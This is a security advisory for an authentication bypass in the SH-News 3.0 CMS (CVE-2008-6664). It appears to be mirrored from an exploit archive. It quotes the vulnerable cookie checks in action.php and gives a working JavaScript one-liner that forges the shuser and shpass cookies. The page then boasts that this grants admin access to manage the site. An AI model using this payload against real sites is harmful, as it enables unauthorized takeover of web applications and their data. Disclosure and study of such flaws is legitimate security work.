SH-News 3.0 Insecure Cookie Handling Vulnerability

2009.04.10

Credit: Virangar

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-6664

CWE: CWE-20

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

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Virangar Security Team

www.virangar.net
www.virangar.ir

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal)
-------
vuln code in action.php:
line 66: $shuser = $HTTP_COOKIE_VARS[shuser];
line 67: $shpass = $HTTP_COOKIE_VARS[shpass];
...
line 69: if((!$shuser) || (!$shpass)) { header("Location: login.php"); }
---
exploit:
javascript:document.cookie = "shuser=1; path=/"; document.cookie = "shpass=1; path=/";
-----
now you can access to action.php whit admin access and manage the cms ;)
-------
young iranian h4ck3rz

References:

http://xforce.iss.net/xforce/xfdb/43123

http://www.shnews.de/change-log

http://www.securityfocus.com/bid/29725

http://www.milw0rm.com/exploits/5829

See this note in RAW Version

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SH-News 3.0 Insecure Cookie Handling Vulnerability

References:

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